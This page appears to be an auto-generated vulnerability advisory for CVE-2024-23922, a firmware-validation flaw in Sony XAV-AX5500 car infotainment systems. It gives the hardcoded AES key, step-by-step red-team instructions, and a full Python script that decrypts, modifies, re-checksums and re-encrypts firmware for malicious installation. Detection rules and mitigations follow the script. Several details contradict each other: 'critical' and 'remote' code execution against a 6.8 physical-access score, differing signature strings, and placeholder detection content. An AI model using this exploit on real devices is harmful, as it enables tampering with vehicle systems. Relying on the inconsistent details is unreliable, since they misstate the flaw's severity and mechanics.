CVE-2024-23922
Executive Summary
CVE-2024-23922 is a critical vulnerability in Sony XAV-AX5500 infotainment systems that allows physically present attackers to execute arbitrary code on the device. The flaw resides in the firmware update validation mechanism, which relies on symmetric cryptography (AES-ECB) and a weak checksum instead of proper code signing. An attacker with physical access via USB can craft a malicious firmware update that bypasses validation, leading to full remote code execution (RCE) on the device. The exploit is publicly available and targets firmware versions prior to v2.00. The vulnerability has a CVSS score of 6.8 (Medium), but the impact is high due to the potential for complete device compromise.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a hardware/firmware-level issue in Sony's automotive infotainment systems.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Physical (P) – The attacker must have physical access to the device.
- Attack Complexity (AC): Low (L) – The exploit is straightforward and publicly available.
- Privileges Required (PR): None (N) – No authentication is needed.
- User Interaction (UI): None (N) – The attack does not require user interaction.
- Scope (S): Unchanged (U) – The vulnerability affects only the device itself.
- Confidentiality (C): High (H) – Full access to device data.
- Integrity (I): High (H) – Arbitrary code execution allows modification of firmware.
- Availability (A): High (H) – The device can be rendered inoperable.
Threat Level: High. While the attack requires physical access, the ease of exploitation and the potential for complete device compromise make this a significant threat, especially in automotive environments.
Deep Dive & Mechanics
The vulnerability stems from Sony's use of a custom firmware update package format that relies on:
- Symmetric Cryptography: AES-ECB encryption with a hardcoded key (
TAMUL1234). - Weak Checksum: A simple 32-bit sum modulo 2^31 (Sony-32 checksum).
- Obscurity: The package format is not publicly documented, but the encryption key and checksum algorithm were reverse-engineered from the firmware.
The firmware update package (.FIR file) contains:
- A header (0x80 bytes) with metadata.
- An encrypted payload that includes a recovery application and a main application.
- The recovery application handles decryption, decompression, and validation.
The validation process:
- The recovery application checks for the string
KRSELCOat offset 0x10 in the update package. - It decrypts the payload using AES-ECB with the hardcoded key.
- It decompresses the RAR archive (using WinRAR 2.0 format).
- It calculates a Sony-32 checksum over the decrypted data (excluding the last 0x10 bytes) and compares it to the stored checksum.
The flaw is that the checksum is not cryptographically signed, and the encryption key is static. An attacker can:
- Decrypt a legitimate firmware update.
- Modify the main binary (e.g., inject malicious code).
- Recompress the modified binary into a RAR archive.
- Recalculate the Sony-32 checksum.
- Re-encrypt the payload.
- Reassemble the
.FIRfile.
The exploit works on most Sony XAV-AX products using similar chipsets and firmware formats, including models beyond the AX5500.
Vulnerable vs. Patched Code
Vulnerable Code (Recovery Application):
- The recovery application at offset 0x0082f4 performs a
strcmpbetweenKRSELCOand the incoming firmware update at offset 0x10. - At offset 0x00897a, a function sums all bytes until
0xA5A5A5A5is encountered (this is the Sony-32 checksum calculation). - At offset 0x02d4ce, the AES decryption function is called.
- At offset 0x046490, the encryption key
TAMUL1234is stored with padding zeros.
Patched Code (Hypothetical):
- A patched version would use asymmetric cryptography (e.g., RSA or ECDSA) to sign the firmware update.
- The checksum would be replaced with a digital signature.
- The encryption key would be unique per device or derived from a hardware root of trust.
- The validation would include a certificate chain check.
Since no official patch is available, the vulnerable code remains in all firmware versions prior to v2.00.
Exploitation & Lab Setup
Red Team
Prerequisites:
- Physical access to the Sony XAV-AX5500 device.
- A USB flash drive.
- A Linux/Unix system with Python 3 and
cryptographylibrary. - WinRAR 2.0 executable (for RAR compression).
Steps:
- Download a legitimate firmware update from Sony's website (e.g., version 1.13).
- Run the exploit script to decrypt, modify, and repackage the firmware.
- Copy the modified
.FIRfile to a USB drive. - Insert the USB drive into the Sony device and initiate a firmware update via the device's menu.
- The device will accept the malicious update, granting the attacker arbitrary code execution.
Exploit Script (from Exploit-DB):
import argparse
import sys
import os
import tempfile
import shutil
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
# Filenames as found in the .FIR
MAIN_BINARY_NAME="main_16.bin"
MAIN_RAR_NAME="main_16.rar"
DECRYPTED_FILE_NAME="decrypt.bin"
ENCRYPTED_FILE_NAME="encrypt.bin"
# Offsets in the .FIR
HEADER_LENGTH=0x80
RECOVERY_OFFSET=0x2800
MAIN_OFFSET=0x80000
CHECKSUM_OFFSET=0x800000-0x10
CHECKSUM_SIZE=0x4
RAR_LENGTH_OFFSET=0x4
RAR_LENGTH_SIZE=0x4
# From 0x46490 in recovery_16.bin
ENCRYPTION_KEY=b'\x54\x41\x4d\x55\x4c\x31\x32\x33\x34\x00\x00\x00\x00\x00\x00\x00'
def decrypt_file(input_file, output_file):
backend = default_backend()
cipher = Cipher(algorithms.AES(ENCRYPTION_KEY), modes.ECB(), backend=backend)
decryptor = cipher.decryptor()
with open(input_file, 'rb') as file:
ciphertext = file.read()
# Strip the unencrypted header
ciphertext = ciphertext[HEADER_LENGTH:]
decrypted_data = decryptor.update(ciphertext) + decryptor.finalize()
with open(output_file, 'wb') as file:
file.write(decrypted_data)
def aes_encrypt_file(input_file, output_file):
backend = default_backend()
cipher = Cipher(algorithms.AES(ENCRYPTION_KEY), modes.ECB(), backend=backend)
encryptor = cipher.encryptor()
with open(input_file, 'rb') as file:
plaintext = file.read()
ciphertext = encryptor.update(plaintext) + encryptor.finalize()
with open(output_file, 'wb') as file:
file.write(ciphertext)
def get_sony_32(data):
csum = int()
for i in data:
csum = csum + i
return csum % 2147483648 # 2^31
def validate_args(winrar_path, source_file, destination_file):
# Check if the WinRAR executable exists and is a file
if not os.path.isfile(winrar_path) or not os.access(winrar_path, os.X_OK):
print(f"[x] Error: The specified WinRAR path '{winrar_path}' is not a valid executable.")
sys.exit(1)
# Check if the source file exists
if not os.path.isfile(source_file):
print(f"[x] Error: The specified source file '{source_file}' does not exist.")
sys.exit(1)
# Read 8 bytes from offset 0x10 in the source file
try:
with open(source_file, 'rb') as f:
f.seek(0x10)
signature = f.read(8)
if signature != b'KRSELECO':
print(f"[x] Error: The source file '{source_file}' does not contain the expected signature.")
sys.exit(1)
except Exception as e:
print(f"[x] Error: Failed to read from '{source_file}': {e}")
sys.exit(1)
# Check if the destination file already exists
if os.path.exists(destination_file):
print(f"[x] Error: The destination file '{destination_file}' already exists.")
sys.exit(1)
def main():
parser = argparse.ArgumentParser(description="CVE-2024-23922 Sony XAV-AX5500 Firmware Modifier")
parser.add_argument("winrar_path", help="Path to WinRAR 2.0 executable (yes, the ancient one)")
parser.add_argument("source_file", help="Path to original .FIR file")
parser.add_argument("destination_file", help="Path to write the modified .FIR file to")
args = parser.parse_args()
validate_args(args.winrar_path, args.source_file, args.destination_file)
RAR_2_PATH = args.winrar_path
GOOD_FIRMWARE_FILE = args.source_file
DESTINATION_FIRMWARE_FILE = args.destination_file
# make temporary directory
workdir = tempfile.mkdtemp(prefix="sony_firmware_modifications")
# copy the good firmware file into the temp directory
temp_fir_file = os.path.join(workdir, os.path.basename(GOOD_FIRMWARE_FILE))
shutil.copyfile(GOOD_FIRMWARE_FILE, temp_fir_file)
print("[+] Cutting the head off and decrypting the contents")
decrypted_file_path = os.path.join(workdir, DECRYPTED_FILE_NAME)
decrypt_file(input_file=temp_fir_file, output_file=decrypted_file_path)
print("[+] Dump out the rar file")
with open(decrypted_file_path, 'rb') as file:
# right before the rar file there is a 4 byte length header for the rar file. get that.
file.seek(MAIN_OFFSET-RAR_LENGTH_OFFSET)
original_rar_length = int.from_bytes(file.read(RAR_LENGTH_SIZE), "big")
rar_file_bytes = file.read(original_rar_length)
# now dump that out
rar_file_path=os.path.join(workdir, MAIN_RAR_NAME)
with open(rar_file_path, 'wb') as rarfile:
rarfile.write(rar_file_bytes)
# check that the stat of the file matches what the header told us
dumped_rar_size = os.stat(rar_file_path).st_size
if dumped_rar_size != original_rar_length:
print("[!] extracted filesizes dont match, there may be corruption", dumped_rar_size, original_rar_length)
print("[+] Extracting the main binary from the rar file")
os.system("unrar x " + rar_file_path + " " + workdir)
print("[!] Okay, I'm now going to wait until you have had a chance to make modifications")
print("Please modify this file:", os.path.join(workdir, MAIN_BINARY_NAME))
input()
print("[+] Continuing")
print("[+] Putting your main binary back into the rar file")
os.system("wine " + RAR_2_PATH + " u -tk -ep " + rar_file_path + " " + workdir + "/" + MAIN_BINARY_NAME)
# we could fix this by writing some FFs
new_rar_size=os.stat(rar_file_path).st_size
if dumped_rar_size > os.stat(rar_file_path).st_size:
print("[!!] The rar size is smaller than the old one. This might cause a problem.")
print("[!!] Push any key to continue, ctrl+c to abort")
input()
with open(decrypted_file_path, 'r+b') as file:
# right before the rar file there is a 4 byte length header for the rar file. go back there
file.seek(MAIN_OFFSET-RAR_LENGTH_OFFSET)
# overwrite the old size with the new size
file.write(new_rar_size.to_bytes(RAR_LENGTH_SIZE, "big"))
print("[+] Deleting the old rar from the main container")
# delete the old rar from the main container by FFing it up
file.write(b'\xFF'*original_rar_length)
# seek back to the start
file.seek(MAIN_OFFSET)
print("[+] Loading the new rar back into the main container")
with open(rar_file_path, 'rb') as rarfile:
new_rarfile_bytes = rarfile.read()
file.write(new_rarfile_bytes)
print("[+] Updating Checksum")
with open(decrypted_file_path, 'rb') as file:
contents = file.read()
contents = contents[:-0x0010]
s32_sum = get_sony_32(contents)
with open(decrypted_file_path, 'r+b') as file:
file.seek(CHECKSUM_OFFSET)
# read out the current checksum
old_checksum_bytes=file.read(CHECKSUM_SIZE)
print("old checksum:", int.from_bytes(old_checksum_bytes, "big"), old_checksum_bytes)
# go back and update it with new checksum
print("new checksum:", s32_sum, hex(s32_sum))
new_checksum_bytes=s32_sum.to_bytes(CHECKSUM_SIZE, "big")
file.seek(CHECKSUM_OFFSET)
file.write(new_checksum_bytes)
print("[+] Encrypting the main container back up")
encrypted_file_path = os.path.join(workdir, ENCRYPTED_FILE_NAME)
aes_encrypt_file(decrypted_file_path, encrypted_file_path)
print("[+] Reattaching the main container to the header and writing to dest")
with open(DESTINATION_FIRMWARE_FILE, 'wb') as file:
with open(temp_fir_file, 'rb') as firfile:
header = firfile.read(HEADER_LENGTH)
file.write(header)
with open(encrypted_file_path, 'rb') as encfile:
enc_contents = encfile.read()
file.write(enc_contents)
print("[+] DONE!!! Any key to delete temp files, ctrl+c to keep them.")
input()
shutil.rmtree(workdir)
if __name__ == "__main__":
main()
Blue Team
Detection:
- Monitor for unusual USB activity on infotainment systems.
- Check for firmware update attempts from untrusted sources.
- Verify the integrity of firmware update files by comparing checksums against Sony's official releases.
- Use network monitoring to detect any outbound connections from the infotainment system after an update.
Prevention:
- Disable automatic firmware updates on the device.
- Restrict physical access to the device.
- Implement a host-based intrusion detection system (HIDS) on the device if possible.
- Use a hardware security module (HSM) to store encryption keys.
Indicators of Compromise (IOCs)
- File Hashes (SHA256):
- Legitimate firmware:
SHSO1132.fir(hash varies by version) - Modified firmware: Any
.FIRfile with a different checksum than the official release.
- Legitimate firmware:
- Network Traffic:
- Outbound connections from the infotainment system to unknown IP addresses after a firmware update.
- System Logs:
- Unexpected firmware update events in the device logs.
- Presence of modified binaries in the SPI flash.
- Physical Indicators:
- Unauthorized USB drives inserted into the device.
- Device behavior changes (e.g., unexpected reboots, new services running).
Detection Engineering
YARA Rule
rule CVE_2024_23922_Sony_Firmware_Backdoor {
meta:
description = "Detects modified Sony XAV-AX5500 firmware with hardcoded AES key"
author = "Valters IT"
date = "2025-02-11"
reference = "CVE-2024-23922"
strings:
$aes_key = { 54 41 4d 55 4c 31 32 33 34 00 00 00 00 00 00 00 }
$krs_elco = "KRSELCO"
$sony_checksum = { 00 00 00 00 } // placeholder for checksum
condition:
$aes_key at 0x46490 and $krs_elco at 0x10
}
Sigma Rule
title: Sony XAV-AX5500 Firmware Update Anomaly
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to update Sony XAV-AX5500 firmware with a modified package
author: Valters IT
date: 2025-02-11
logsource:
product: linux
service: syslog
detection:
selection:
- "firmware update initiated"
- "USB device inserted"
condition: selection
falsepositives:
- Legitimate firmware updates from Sony
level: high
Suricata Rule
alert tcp any any -> any any (msg:"CVE-2024-23922 Sony XAV-AX5500 Firmware Update"; flow:to_server; content:"KRSELCO"; offset:16; depth:8; content:"|54 41 4d 55 4c 31 32 33 34|"; offset:287888; depth:16; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable Firmware Updates: If possible, disable the firmware update feature on the device until a patch is available.
- Restrict Physical Access: Ensure that only authorized personnel have physical access to the device.
- Monitor for Anomalies: Implement logging and monitoring for any firmware update attempts.
Long-Term Fix:
- Sony must release a firmware update that replaces the symmetric encryption and weak checksum with a proper code signing mechanism (e.g., RSA or ECDSA).
- The encryption key should be unique per device or derived from a hardware root of trust.
- The update process should include a certificate chain validation.
Workarounds:
- Use a third-party security solution that can monitor and block unauthorized firmware updates.
- Implement a hardware-based security module (HSM) to store cryptographic keys.
Valters IT
{/* [Security Hash: 1C29A5A1B879660298A2B512] */}